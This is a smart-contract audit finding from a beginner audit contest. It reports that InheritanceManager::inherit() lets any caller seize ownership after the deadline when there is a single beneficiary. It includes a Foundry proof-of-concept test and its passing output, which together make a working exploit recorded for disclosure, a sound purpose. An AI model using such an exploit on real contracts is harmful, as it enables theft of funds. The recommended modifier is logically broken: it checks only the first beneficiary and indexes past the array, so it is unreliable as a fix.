Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker can gain ownership of the `InheritanceManager` contract if the deadline has expired and there is only one beneficiary, severely breaking the entire system.

kuusho

Summary

Given the right conditions, By calling inherit() , an attacker can gain ownership of the InheritanceManagercontract

Vulnerability Details

If the deadline is passed and the InheritanceManagerhas only one beneficiary, the InheritanceManager::inherit()function becomes vulnerable to an attacker gaining ownership by calling the function.

The inherit()function logic lacks a check for if the msg.senderis a valid beneficiary and contains a condition that sets msg.senderas the owner of the contract if (and only if) there is ONE beneficiary

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
}

The test written below asserts that attacker can inherit and gain ownership of the contract:

function test_nonbeneficiaryCanInherit() public {
address attacker = makeAddr("Jacob");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address user4 = makeAddr("user4");
vm.warp(1);
vm.startPrank(owner);
im.addBeneficiery(user2);
vm.stopPrank();
​
vm.warp(1 + 90 days);
vm.startPrank(attacker);
im.inherit();
vm.stopPrank();
​
assertEq(attacker, im.getOwner());
}

Test output:

Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_nonbeneficiaryCanInherit() (gas: 92382)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.42ms (339.50µs CPU time)
​
Ran 1 test suite in 100.28ms (1.42ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests

Impact

This vulnerability shows that ownership of the InheritanceManagercontract, the core contract of this entire application can be transferred to an attacker in a very likely scenario, given very likely circumstances based on the functionality of the application.

This fundamentally breaks the entire system.

Tools Used

Foundry, Manual Review

Recommendations

To fix this issue, a modifier InheritanceManager::onlyBeneficiaryCanInherit()can be used to mitigate this issue as follows:

modifier onlyBeneficiaryCanInherit() {
uint256 i = 0;
while (i < beneficiaries.length + 1) {
if (msg.sender == beneficiaries[i]) {
break;
}
else {
revert InheritanceManager__NotABeneficiary();
}
i++;
}
_;
}
​
​
​
function inherit() external onlyBeneficiaryCanInherit {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!